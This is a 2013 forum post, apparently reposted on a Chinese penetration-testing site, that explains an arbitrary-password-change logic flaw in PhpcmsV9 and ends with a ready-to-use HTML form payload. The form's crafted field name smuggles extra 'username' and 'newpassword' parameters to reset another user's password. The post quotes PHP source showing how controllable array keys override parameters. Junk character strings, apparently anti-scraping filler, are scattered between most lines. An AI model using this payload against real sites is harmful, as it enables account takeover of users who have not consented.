中国网络渗透测试联盟
标题:
PhpcmsV9 任意用户密码修改逻辑漏洞 2013年贺岁第三发
[打印本页]
作者:
admin
时间:
2013-2-23 14:46
标题:
PhpcmsV9 任意用户密码修改逻辑漏洞 2013年贺岁第三发
提到的通行证的代码:
5 e% ]' y) N, b& x* L8 |
( }- n! }! B' d' u: u! j! T. y
8 x8 T3 V5 K- F: v
parse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);
1 [& I* b; h" c! n! x# h ^
6 z2 @4 P) p$ ?' J. s* f# U
在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。
! i6 V) i. Q+ M- r; o8 F, n
& h& e& c: D" H% o N# |4 O" d
我把它留给了你们。
; r0 U. E7 F: b
不知道你们发现了它没有。
9 H* s" P* g7 j
% R5 f" i# n! t) U8 o: w
我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。
+ C, }+ j) I5 b) u+ v9 M1 Q
6 x& F* j2 p5 \7 u( R: S
所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。
p7 b- ]. i. @; z% {' e
' G/ v( ?* j( v
也就是
9 [- z$ \* L; ~2 Y+ d) F" i
4 Z4 K! @$ B; e8 g
username=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。
% i8 l0 w' y* D- {6 h! p
% B. R- q' `, n
要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。
" M2 p- b% C0 N) }
. S: y W+ l E6 U$ d- e
; h6 x, J7 P2 w
其实我们有这样的机会,看看代码,如下:
# B+ p, }7 E0 V; P9 i
2 {: M% |. \$ z. T- O' R0 F. h
6 m g" L6 p) D+ `6 l
public function auth_data($data) {
8 y1 c4 i* C& [8 @+ |7 d. k: \9 q6 o
$s = $sep = '';
0 [) ?4 t# z" ^$ X
foreach($data as $k => $v) {
# _, z( L* h1 y6 L% J& @
if(is_array($v)) {
/ l) K& Z) b8 r
$s2 = $sep2 = '';
, ^0 [' L2 E% G+ V" t& ]' D
foreach($v as $k2 => $v2) {
, P* A: O) @9 _
$s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);
: p' F7 b. N" L& q" d/ o
$sep2 = '&';
3 [2 V _: t) q a' |, [$ s
}
# k# A) Y- F! y
$s .= $sep.$s2;
: f8 X7 [3 [+ N# N
} else {
8 S$ A- u+ M, Z+ f" L1 b Q! Q6 g) g, y
$s .= "$sep$k=".$this->_ps_stripslashes($v);
' k8 U5 T* S2 B$ X8 E& u
}
: q' f1 ]( j, J. \8 U6 E. G8 m+ a4 M
$sep = '&';
8 p* d* p3 q* x- k9 }: @
}
7 R. ^; r$ C+ ]! M; K! Z
1 ?. F1 B1 l$ E. V" m
$auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));
- T4 V/ B3 g+ _
return $auth_s;
5 l5 Q+ t# a( s" E# L2 S
}
% x( b& R! [4 v1 w, d
* K3 s x1 u$ \! h
可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。
4 B: V* K$ e& r+ s3 H
5 ]% f: x0 z) f( V% @1 [
举个例子
. T2 L) B0 Y" w- V+ }9 T$ ]
8 h( P7 z; y0 V* T3 D/ P
$a[aaa=a&bbb] = 'a';
5 F2 V2 A& `) U) I
7 b. L. ^9 b* H* w
会变成aaa=a&bbb=a
5 m1 n0 v, J! T$ x; _3 Z- [
( G" u5 g6 K# [% A+ Q' B
明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。
, T6 L4 Y x( q/ M9 t% j) W+ ~8 T/ P
7 O- e# `9 {; M# ]8 t
这个时候,我们可以再去看一个函数。
5 P4 Q9 m& {; h5 p% N
. d1 \9 u% {# i: _, `, y
就在这个文件内:
% I% k. ]; b5 O% d) @* O
m" F* Y3 f& y0 c" Q' a S7 Y
7 a" }2 F7 ~" D( y0 d7 l
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {
% @: H% C% v/ ]' r
if($email && !$this->_is_email($email)) {
4 m$ L, h1 a9 X
return -4;
+ N9 x, @# n7 A2 x
}
6 C! h% Q* N2 N# m, y
return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));
$ ~( g5 Z0 J9 Q2 U; J7 c$ Y
}
) B( V4 v- |% C; K) U' ~
4 F; ^- l j" Z$ w! r, X) T
这是向通行证发了这样一个请求。
; g2 }+ x9 j) I3 d; t2 w* z; `
3 d$ J* y& n7 X" T& Y: k% W
我们再跟到通信证代码里去看看,就会有所发现。
: D' K' A: h: P9 V) n: m: ~$ n
% N! w3 P6 {$ d! n+ V6 j' u0 v5 B+ `
2 ^8 c3 @$ ^. Z* j4 Z% O+ l
public function edit() {
% a" I/ u3 w) n2 j. N& V6 M
//能省就省,太长了不是吗?
, n& w2 U1 |: c0 ~: h3 t
; _) N5 h. j4 }3 @4 n" F
if($this->username) {
7 Y: i# _' k5 k k4 H. v b
//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。
" ^3 [7 ?$ Q+ A$ D' B% z
$res = $this->db->update($data, array('username'=>$this->username));
) Z" F- k g V$ A
} else {
5 d3 U7 a, J; j/ V
file_put_contents('typeb.txt',print_r($data,1).$this->uid);
: c! H; J7 c& ~' w
$res = $this->db->update($data, array('uid'=>$this->uid));
; O" n0 H! y4 D$ q
}
/ t5 A% x( X5 i, V/ [5 w$ l
" G5 y: h- Y8 ~# J: b9 u
好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:
+ Q4 E! Y0 A: c% _0 y
% B6 }) l; X: `& a8 _0 f
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')
9 N- N3 t' p' }5 p4 J$ Q
* F% `6 t8 P# S. |6 y3 `
很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。
9 S. x8 |* P8 Q4 W/ ~1 e& v
" b8 E! U! _0 B( N- Z _ q
我当然找到了:
# A4 E8 g9 d' L4 L
phpcms9/phpcms/modules/member/index.php
- b* w6 h1 N8 B0 V, D7 |- A
6 f/ [. c, F+ [2 |! U
$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);
# a- ` z' a& t$ V+ s. J: ~
( Q, T7 y- P: O
然后就没有然后了。
4 r( ?( A+ D7 }/ q- v5 [, \6 g& M
7 _% Z4 F: V) H. j/ P8 F
<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">
0 T4 C0 s. c G* y/ C
<table width="100%" cellspacing="0" class="table_form">
6 x$ e" n$ R' c9 q
<tr>
, v9 C9 `+ z( n; ]6 F& p
<th width="80">邮箱:</th>
5 R4 b. x3 W6 i0 u8 M- f
<td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>
3 [& l$ F8 C( }% y
</tr>
0 G& h) O: l6 M0 P$ q8 B' ~
<tr>
) e) b& K4 `* Z9 R/ c: |
<th width="80">原密码:</th>
3 ~# s& m/ y- c
<td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>
3 ]( a; o C/ j1 x; s. I; G
</tr>
5 F/ p5 K! U/ ?. s7 I2 D
<tr>
' w! j5 x6 Z9 e- S% Y7 m, H* ]+ Q3 Z
<th>新密码:</th>
% m$ w/ r1 L3 R: o, E! f
<td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>
& f3 K9 {- q. _/ C+ n( M8 L
</tr>
0 ?5 K; R F$ `3 g3 ^* u9 z
<th></th>
" R- F* F3 L" [5 _
<td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>
+ ^/ s- I7 o3 }! a- w# z, u8 M2 X0 v
</tr>
3 C* s1 f7 o3 j" q
</table>
1 ^, K+ D5 |/ \- d# p. x
0 m3 L8 j& t( n2 }- Y" }
' M7 G* N2 ~8 ^4 ]
</form>
& R1 H6 N! q, p' i
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2